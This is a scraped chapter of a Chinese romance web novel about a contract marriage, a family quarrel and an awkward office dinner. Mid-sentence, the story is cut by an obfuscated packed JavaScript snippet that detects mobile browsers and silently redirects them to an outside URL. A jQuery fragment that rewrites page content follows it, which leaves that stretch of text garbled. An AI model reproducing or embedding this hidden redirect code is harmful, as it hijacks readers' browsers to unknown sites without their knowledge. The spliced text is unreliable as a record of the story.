文趣网 > 都市小说 > 游戏搭子是联姻老公[先婚后爱] > 29.男友从天而降
    苏雨眠灵活闪避。

    沈西昀的手扑了个空。

    沈西昀不悦道:“干嘛?”

    小气鬼。

    苏雨眠捂住头顶,振振有词:“你干嘛?天天工作那么累,很容易掉头发的,你再摸,秃得更快。”

    “我不是给你吃好吃的补补了吗?你也不说谢谢。”

    苏雨眠埋头苦吃的间隙才回他的话:

    “我谢啥,是你想跟我吃饭的,我还牺牲了午休的时间陪你吃饭呢,都没和同事打成一片。”

    苏雨眠不禁悲从中来。

    两人的网恋还没理出个说法,她感觉是自己绿了自己,沈西昀背着她订婚结婚!

    而且,她从事业到婚姻,基本上都算卖身给沈西昀了,好悲惨,好可怜。

    事已至此,只能多吃点压压惊。

    苏雨眠偷瞄了沈西昀一眼,发现他的注意力不在吃的上,便偷摸着把乳鸽最肉汁四溢的那一边夹走了,沈西昀还傻乎乎地一点没发觉,苏雨眠偷着乐开了花。

    她不是傻,世间的烦恼太多了,便抓紧当下能让自己真切开心的事情吧。

    沈西昀抿唇笑了笑,将可爱的事物收入眼底。

    他揭开杨枝甘露的盖子,连同勺子一起塞到苏雨眠手边,轻声细语道:“快喝点吧,别噎着了,慢慢吃,我不跟你抢。”

    逆着光,他的发上度了一层金黄的边,眉眼柔和,甚至是带有神性的。

    像是神明下凡来普渡她。

    颜狗苏雨眠一不小心呆了一瞬。

    即便他们算是双向出轨了,她依旧拜倒在温柔男的缱绻嗓音下,依言照做,在美食和美男的双重努力下成了乖顺的提线木偶,心智都快迷失了。

    只听沈西昀下一句话,刻意的柔情中颇有些危险的气息:

    “来,跟我细说,你想跟哪个同事打成一片呢?郝嘉年还是徐风?”

    ……嘴里的杨枝甘露瞬间不甜了。

    一句随口的玩笑话都能被纠缠。

    此男绝非善类,笑里藏刀。

    他光风霁月的体贴,举手投足的斯文,甚至无害又沉闷害羞的外表,共同构成了他璀璨的诱人沉沦的华光。

    但真的信了他的人会很危险。

    他会悄无声息地伸出藤蔓,一击必中,缠绕住目之所及的猎物,至死方休。

    苏雨眠呆呆地问:“大哥,你控制欲这么强的吗?”

    沈西昀点头。

    苏雨眠:“你是变态吗?”

    沈西昀想了一下:“不知道。”

    目前他还没有对其他人这样过。

    他羽翼已丰,想把她拢在身下,遮风挡雨,就不愿意再看着她在外面被哪怕一滴雨点淋到。

    这人男人身上透出来的气息很危险。

    过一辈子,原本是苏雨眠曾经万分美好的畅想,可全部偏离了预想的轨迹了,苏雨眠低头盯着新鞋子,想到了没有送出去的礼物箱。

    沈西昀办公桌基本上没有摆放很适合他的办公用品,都是公司统一配的,电脑的配置虽然很高,但他用的还是自带的键盘,苏雨眠看了挺难受的,很想马上把她特意为他买的人体工学键盘掏出来连接上,这样,可以让他的手腕更舒服一点。

    可是……

    苏雨眠的心头下了点小雨。

    她用勺子搅了搅杨枝甘露,足够平静地开口:

    “既然是联姻,我们婚后还是尽量各过各的吧。”

    沈西昀眼中闪过被刺痛的错愕。

    他绷紧了下颌线,无声地调整吐息。

    过了一会儿,说出来的话语听起来有若无其事的轻松:

    “好啊,如你所愿。”

    “嗯好。”

    苏雨眠不去深究。

    她的生活越简单越好。

    沈西昀这次没目送她走,盯着电脑敲代码,写一行删一行,余光看到她的身影不带留恋地翩然离开,轻得像一根飘远的羽毛。

    电脑上登了微信,沈西昀给爸爸设置了消息免打扰,已经攒了几十条了没看,他不想知道内容,一次都没点开,烦得受不了的时候就删掉。

    然后沈爸爸继续固执地发来新的。

    定亲宴回去后,沈家内部爆发了争吵,沈爸爸发了好大的火:

    “你们是在给我摆鸿门宴!经过我的同意了没?擅自就定下来亲事!眼里有没有我这个一家之主!”

    朱芜说:“有本事,你去跟你爸说,你爸可满意得很啊,别来压力你儿子。”

    沈爸爸“呼啦”扫落茶几上的所有杯杯盏盏,指着沈西昀的鼻子发号施令:“我告诉你,你娶了这么个对你事业毫无助力的女人,你以后是没好日子过的!”

    沈西昀挥开他的手,转头对朱芜说:

    “妈,听到没,你当年要是对他没有助力的话,他就不会娶你了。”

    沈西昀一个老实人,被爸爸留下来的班底坑了好几道,也学会转移矛盾的一些好把戏了。

    朱芜明显身体都僵直了。

    沈爸爸愈发恼羞成怒,撂下狠话:

    “你们的婚礼,我是不会出席的。”

    沈西昀无所谓:“正好,省了一个人的餐位。”

    见到丈夫的态度如此坚决,整个家仿佛在暴风骤雨中摇摇欲坠,朱芜动摇了,扯了扯沈西昀的胳膊,拉架道:

    “西昀,别跟你爸吵了,别气着你爸。实在不行,只是订婚而已,后面的事可以往后慢慢放一放,现在离婚率那么高,一辈子的事情谁说得准呢……”

    沈西昀气笑了,心脏抽痛,扶了一把椅背,没料到一向敬重的母亲会反水反得如此迅速。

    他恨铁不成钢地讲:

    “妈,你就非要这么讨好你的老公吗?你已经拿沈墨墨去讨好他了,还要再搭上我的婚事?”

    这话等于是撕破了朱芜遮羞的假面,朱芜刹那间失去了所有的力气,摇摇欲坠,脸色惨白地坐下。

    沈爸爸变得很快,扶住了妻子,仿佛他们从来就是一条战线的,训斥道:“逆子!你光气我不够,你还要气你妈妈!”

    真切的疼痛从心脏处传来。

    浑身的血液好像不通过心脏走了,凝结阻塞,沈西昀的腿先是发麻,之后因缺乏供血似乎麻木成了一块失去知觉的死肉,他有点感觉不到双腿的存在了,却没有可以倒下的条件。

    沈西昀攻击力拉满道:“到底是谁在气她?气我妈最多的人不是你吗?你别以为我不知道,就因为你在外面不老实,才会让我妈冒了生命危险生下沈墨墨……”

    “别说了,西昀,别说了。”

    更不能面对的人是朱芜,她几乎是祈求式地让儿子住口。

    沈西昀脸色阴沉如水,忍受着心脏处传来的剧痛,不想也不能示弱,用一口气撑住了身躯的伟岸,唯有如此,才能为伴侣开出来一方自由的天地,即便代价是他本人承受千刀万剐的痛也没关系。

    现在的痛,他在更年少的时候已经品尝过了。

    朱芜是上个世纪70年代的独生女,千金大小姐,家境优渥,养尊处优,没吃过任何苦,出嫁前有老爸,出嫁后有老公,也坚决地只生了一个孩子,和和美美,繁花似锦。把大儿子平时放在老人那儿养着,小两口的二人世界总是蜜里调油。

    这样的日子只持续到了沈西昀初中。

    有个女网红蹦跶到了朱芜的社交圈里。

    一查丈夫的支付记录,朱芜看到了枕边人对女网红的大额打赏。

    一辈子被捧在手心上的女人,人到中年,迎来了扑面的冰霜。

    朱芜是有资本走出满地鸡毛的。

    大儿子坚定地站在她那边毫不动摇。

    独生女的父母家更是最坚实的后盾。

    即便如此,在将要迈出最后那一步之前,朱芜还是犹豫了,眼前是明明白白的狼藉,可以因为这么一点事情就放弃了二十年苦心经营的生活吗?值得吗?值得因此踏进未来的迷雾中吗?

    次月,沈西昀被妈妈充满喜悦地分享,她腹中多了一个新生命,即将迎来新的手足之亲。第二个儿子的降生,似乎成功地拴住了丈夫的心,花边新闻打发干净了,新儿子被养在身边,成了夫妻感情最牢靠的纽带。

    沈爸爸是个极为传统的男人,他身边的兄弟,所谓的成功人士,都是典型的男主外女主内,嘴上讲的男女平等、绅士风度,内里只看中女人的生育价值,生了一溜排的儿子,事业做得越大的男人,越心痒难耐地多要几个“根”。

    中年得子,沈爸爸满足得没话说了,以前对妻子娇妻只肯生一个孩子的不满烟消云散。也没舍得让小儿子沈墨墨重复沈西昀的成长路径,说什么都要一家人在身边,一日三餐在一张桌子上吃,能推的不能推的应酬全推了。

    朱芜便放下了悬着的心,庆幸当初的选择没有错,丈夫连身上那些无伤大雅的小毛病都改了,她还计较什么呢?

    沈墨墨听到客厅内吵闹摔打的东西,作业也不写了,瘦高高一长条扑到朱芜怀里跟着哭:

    “爸妈,你们至于为这点事情大动肝火吗?不是还有我吗?以后我乖乖的,谈婚论嫁之类的人生大事全听你们的呀。”

    一句哥哥没叫。

    真是相依相偎的一家人。

    沈西昀捂住愈发麻痹的胸口,摔门走了。

    被那一幕恶心得吃不下饭。

    他好像始终是一根无处停栖的野草。

    不过,他想要做的事情,想要建立真正互相水乳交融的家庭,没有人能拦得住,他不惜野火燎原。

    而且,看着苏雨眠吃饭,沈西昀胸腔里那久久不散的恶心总算不再折腾他了,取而代之的是很充实饱满的感觉,像是躯壳被温软的晒过太阳的棉花填充了,暖暖的,安心,有阳光味。

    最近法务部因为法律AI模型,和技术部的相关小组接触特别多。

    技术部组长徐风提议,晚上一块聚餐。

    经费从技术部团建经费里面出,约等于公款吃喝,根据恒业的惯例,还会给参与的员工按照季度发小家电的购物卡。

    年轻的员工们热情特别高涨,纷纷在微信群里接龙。

    徐风期待又忐忑,在解决了几个系统bug之后,顿了顿,没马上离开,驻足问苏雨眠道:

    “小苏,你怎么没在群里接龙?你不想来吗?”

    苏雨眠微笑说:“嗯,我养了猫,我想早点下班陪我的小猫。”

    在苏雨眠工作之前,鱼崽就没和她一天分离三个小时朝上,现在一整个白天都见不到,鱼崽又是焦虑到一刻不停地舔毛,又是从早到晚睡在入户门前等待苏雨眠回家,然后扒着她的裤腿,一声一声叫得如泣如诉。

    苏雨眠每每在监控中看到那可怜弱小的身影,心都快碎了,她基本上一下班就往家里快马加鞭地奔去,任何事情都别想阻挡她尽早母女团聚。

    徐风有点想争取,最后拐弯抹角地说:“一起来吧,这个季度的卡,覆盖了一些宠物用品,你刚好可以用得到。”

    王思雨垮着脸说:“眠眠,你不去那我也不去了。”

    “啊?为啥?”苏雨眠一脸迷惑。

    王思雨把头凑过来,压低了声音用气声说:“还是你人好,我跟他们那群mean人……八字不合。你不在的话,我也懒得社交了。”

    法学院盛产mean人。

    工作中的法律人同样刻薄的没边的了。

    王思雨靠着个人能力过五关斩六将被恒业招进来的,可她本科的学校一般,很不出彩,偶尔有需要和老员工沟通的时候,总是被有绩主义的味儿熏到。

    有人感叹:“哇,你居然不是实习生而是正职!”

    还有人更夸张地捂嘴:“OMG!原来X大这种层次的学校已经可以进恒业的简历关了吗?啊啊啊,那我辛辛苦苦拿北大的法学和经济双学位是为哪般呀!”

    在王思雨看来,这群装X刻薄犯里面,没有一个比苏雨眠有钱的,却没有一个人品要好过苏雨眠。

    苏雨眠改了主意:“那我也去,我们一起去,好好和同事们熟悉熟悉。”

    说罢,在群里填写了接龙。

    徐风腼腆笑着,问苏雨眠有没有偏好的食物。

    苏雨眠说:“我都行,只要好吃就行,没有忌口,然后不怎么喝酒。”

    她不挑食。

    徐风忐忑地确认:“人均多少合适呢?你比较喜欢吃日料还是韩料?火锅呢?”

    苏雨眠笑笑:“我初来乍到嘛,跟以前一样呗。”

    郝嘉年又控制不住他那满对子的酸水,眼睛是在盯着电脑屏幕整理表格,嘴上

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17749378|206112||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    用别人刚好能听得到的音量说:“吃便宜了,不是委屈了大小姐吗。”

    苏雨眠先是当没听见,转头对徐风笑靥如花道:“徐组长,我听说团建的餐费是从部门经费里面出的,哇,这员工待遇真好呀,是每个人都能享受吗?”

    徐风认真解释道:“不是的,这是对正式员工或者留用员工的福利,劳务派遣以及短期实习生是没有的。”

    顿时,郝嘉年耳根子一阵烧得慌。

    苏雨眠笑得更开心了,她知道公司的规定呀,才借别人的口说出来臊一臊郝嘉年。职场不方便撕破脸,要做人留一线,但郝嘉年处处给她找不痛快,在言语上刺她,她是不可能让他全身而退的。

    在技术部难得不加班的一天,技术部一组和法务部合同组的聚餐开启。

    吃饭的商圈就在公司对面,下了班,大家说说笑笑地就来了。

    是一家日式料理的板前,他们包了一整张台面,围着铁板坐,水果和酒水饮料自取,都是年轻人,很快便不拘束地聊开了。

    开场的几道酒肴里,松叶蟹醋冻风味浓郁,一口爽滑开胃,苏雨眠喜欢吃的是海胆甜虾三文鱼牛油果塔塔,结果咬下去,油脂感和鲜甜不如想象中的浓郁,可能是嘴巴最近被沈西昀养刁了,苏雨眠小口把手中的吃完,喝点热的大麦茶,带着公式化的笑容希望应酬快些结束。

    团建的饭局总有走不完的流程,还为了破冰,徐风拉着大家一起玩小游戏,例如抽卡,抽到相同数字的人喝交杯酒之类。

    要是一男一女喝交杯酒就更值得起哄了。

    苏雨眠摆手笑说:“我手气很差的,我看着你们玩呀。”

    假如一个不小心真倒霉到和在场某位男嘉宾玩恶俗游戏,被众人看猴戏的嘲笑,苏雨眠真生无可恋了。

    有些资历深的前辈点她:“小苏,来,你就随便抽一张嘛,不要这么不合群呀,你已经不是坐小孩桌的年纪了~”

    又高高架起来了。

    苏雨眠头疼,维持着体面,勉强随便抽了一张。

    验牌的环节,首先真验出来有一男一女两名同事的点数一样,其他人鼓掌欢呼起哄,与婚礼现场没有差别,苏雨眠脚趾抠地,默默把纸牌压在手底下,希望无人在意。

    可偏偏有人看完乐子后还锱铢必较,问她:“小苏,你抽到的是什么呀?”

    “呃,好像有点找不到了,我刚刚随手一放。”苏雨眠尬笑。

    “哪有找不到?不就在这里嘛,你呀,还真有点粗心,看,小苏的是红桃3!在场哪位男士是3呀!”

    热心群众一把翻开苏雨眠的牌,还举起来展示给其他人看。

    徐风笑而不语,亮出了他的纸牌——梅花3。

    点数相同。

    马上苏雨眠的大麦茶被换成了日式清酒。

    徐风拘谨地起身,笑得无害。

    但自有人为他招呼,让出离苏雨眠较近的座位。

    苏雨眠手掌盖在清酒杯子上,拒绝了别人添酒,她虚假的笑容快不堪一击,已经很烦躁了,不知道这样的环节和职场性骚扰有什么区别。

    很多大厂的破冰游戏都和男女接触有关系,更有甚者,沾点颜色。

    技术部有程序员不住地撮合,催促,还说:“小苏,我们徐工特别优秀的,还是担心,你们法务部是恒业女孩子最多的部门,僧多粥少,不知道你这碗粥能不能看上徐工这个老实和尚!”

    压抑久了的程序员们哈哈大笑。

    王思雨见苏雨眠的脸色实在不好看,握了下她的手,说:“你们可别乱说啊,眠眠比较害羞,不许欺负她。”

    “害羞?所以兄弟们这不是都在助攻了嘛!哈哈哈。”

    厨师上了现烤的M8雪花和牛,是今晚的第一道硬菜,按人头分好餐,饕餮们便先顾不得其他,先将美食珍馐送入五脏庙,多等一秒钟都是对雪花和牛的不尊重,油脂香味在口腔中爆开了,社畜一天的疲惫能够被抚平,好吃到想把舌头也一并吞下去。

    苏雨眠垂下眼睫,不急于动筷子。

    她歉疚地说:“不好意思啊,我有男朋友,他醋性可大了,不让我喝酒,更不让我和别的男人喝酒,我可不想回去之后挨男朋友的骂~”

    为了更逼真,苏雨眠还矫揉造作地夹着嗓子发了下嗲。

    她算是发现了,传统的工科程序员,会不自觉地把身边的女生当盘菜,他们不会意识到一个容貌姣好的女性是和他们一样有主体性不喜欢被随便拉郎配的活人。

    但是呢,他们会忌惮一个女性背后那个在他们眼中标记了所有权的男人。

    果然,带头起哄的人都不说话了,场子安静了下来,徐风的脸也挂不住,端着清酒杯闷头换回了原来的位置。

    法务部的谢楠楠却又狐疑道:“小苏,你真有男朋友啊?你这么漂亮,你男朋友也不来接你上下班,他怎么放心的呀?”

    谢楠楠喜欢把后辈360度从头批判到脚,王思雨有次都被她阴阳得躲进洗手间里哭。

    谢楠楠还明里暗里打量着苏雨眠的衣服鞋包,酸溜溜问过她是从什么渠道买的,其实,谢楠楠能看的出来是正品还是A货。

    跟谢楠楠时常抱团蛐蛐儿人的小姐妹开团秒跟:

    “是啊,小苏,你不会根本没有男朋友,编出来糊弄我们的吧?”

    “你这身消费,何方神圣供得起啊,给我们看看你男朋友照片,就算确有其事了,要不然,我们就当是你编出来搪塞我们的哦。”谢楠楠绵里藏针地笑。

    有一个瞬间,苏雨眠真想不管不顾地把沈西昀的照片拿出来甩到他们脸上。

    可惜,人生不是打脸爽文。

    首先她没必要自证,被人牵着鼻子走。

    其次,就算她把照片甩出来,也没人信,按照这群人的刻薄程度,搞不好她是总裁梦女的传闻第二天便会传遍全公司。

    苏雨眠失去了表情管理,面若寒霜。

    她的头顶被大片的阴影笼罩。

    苏雨眠没抬头,不想理会。

    人群的嘈杂却在弹指前全然清空。

    “你在这里?”男人问。

    说着,他捏住了苏雨眠的清酒杯,皱了眉。

    几秒过后,板前所有的同事们愕然起身,稀稀拉拉地打了招呼:“沈总……”